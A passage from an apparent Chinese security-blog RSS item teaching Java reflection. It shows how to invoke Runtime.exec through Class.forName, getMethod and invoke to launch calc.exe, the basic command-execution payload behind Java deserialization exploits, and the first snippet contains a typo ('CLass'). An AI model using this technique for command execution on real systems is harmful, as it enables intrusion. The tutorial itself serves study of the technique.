&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样直接进行调用会出现报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/java-images/image-1.png&quot; alt=&quot;image-20240217172415535&quot;&gt;&lt;/p&gt;
&lt;p&gt;报错会告诉我们这个类不能使用私有方法&lt;/p&gt;
&lt;p&gt;这涉及到了单列模式，Runtime是一个&lt;strong&gt;私有方法&lt;/strong&gt;，&lt;/p&gt;
&lt;p&gt;为了我们能安全的使用这个函数，设计出单列模式，通过为Runtime创建一个公共方法的getRuntime来是实现调用这个函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = CLass.forName(&quot;java.lang.Runtime&quot;);
clazz.getMethod(&quot;exec&quot;,String.class).invoke(clazz.getMethod(&quot;getRuntime&quot;).invoke(clazz),&quot;calc.exe&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/java-images/image-2.png&quot; alt=&quot;image-20240217173207132&quot;&gt;&lt;/p&gt;
&lt;p&gt;在这次使用我们用到了&lt;strong&gt;getMethod&lt;/strong&gt;和&lt;strong&gt;invoke&lt;/strong&gt;方法，在调用&lt;strong&gt;getMethod&lt;/strong&gt;方法的时候，我们需要传给他你需要获取的参数类型的列表&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/java-images/image-3.png&quot; alt=&quot;image-20240217174133863&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们使用最简单的，也就是第一个，它只有一个参数，类型是String，所以我们使用&lt;/p&gt;
&lt;p&gt;getMethod(&quot;exec&quot;, String.class) 来获取 Runtime.exec 方法。&lt;/p&gt;
&lt;p&gt;invoke 的作用是执行方法，它的第一个参数是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果这个方法是一个普通方法，那么第一个参数是类对象&lt;/li&gt;
&lt;li&gt;如果这个方法是一个静态方法，那么第一个参数是类&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;将上述payload拆解为&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;java.lang.Runtime&quot;);
Method getRuntimeMethod = clazz.getMethod(&quot;getRuntime&quot;);
Method execMethod = clazz.getMethod(&quot;exec&quot;,String.class);
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,&quot;calc.exe&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/java-images/image-4.png&quot; alt=&quot;image-20240218140548270&quot;&gt;&lt;/p&gt;</content:encoded><category>网络安全</category></item></channel></rss>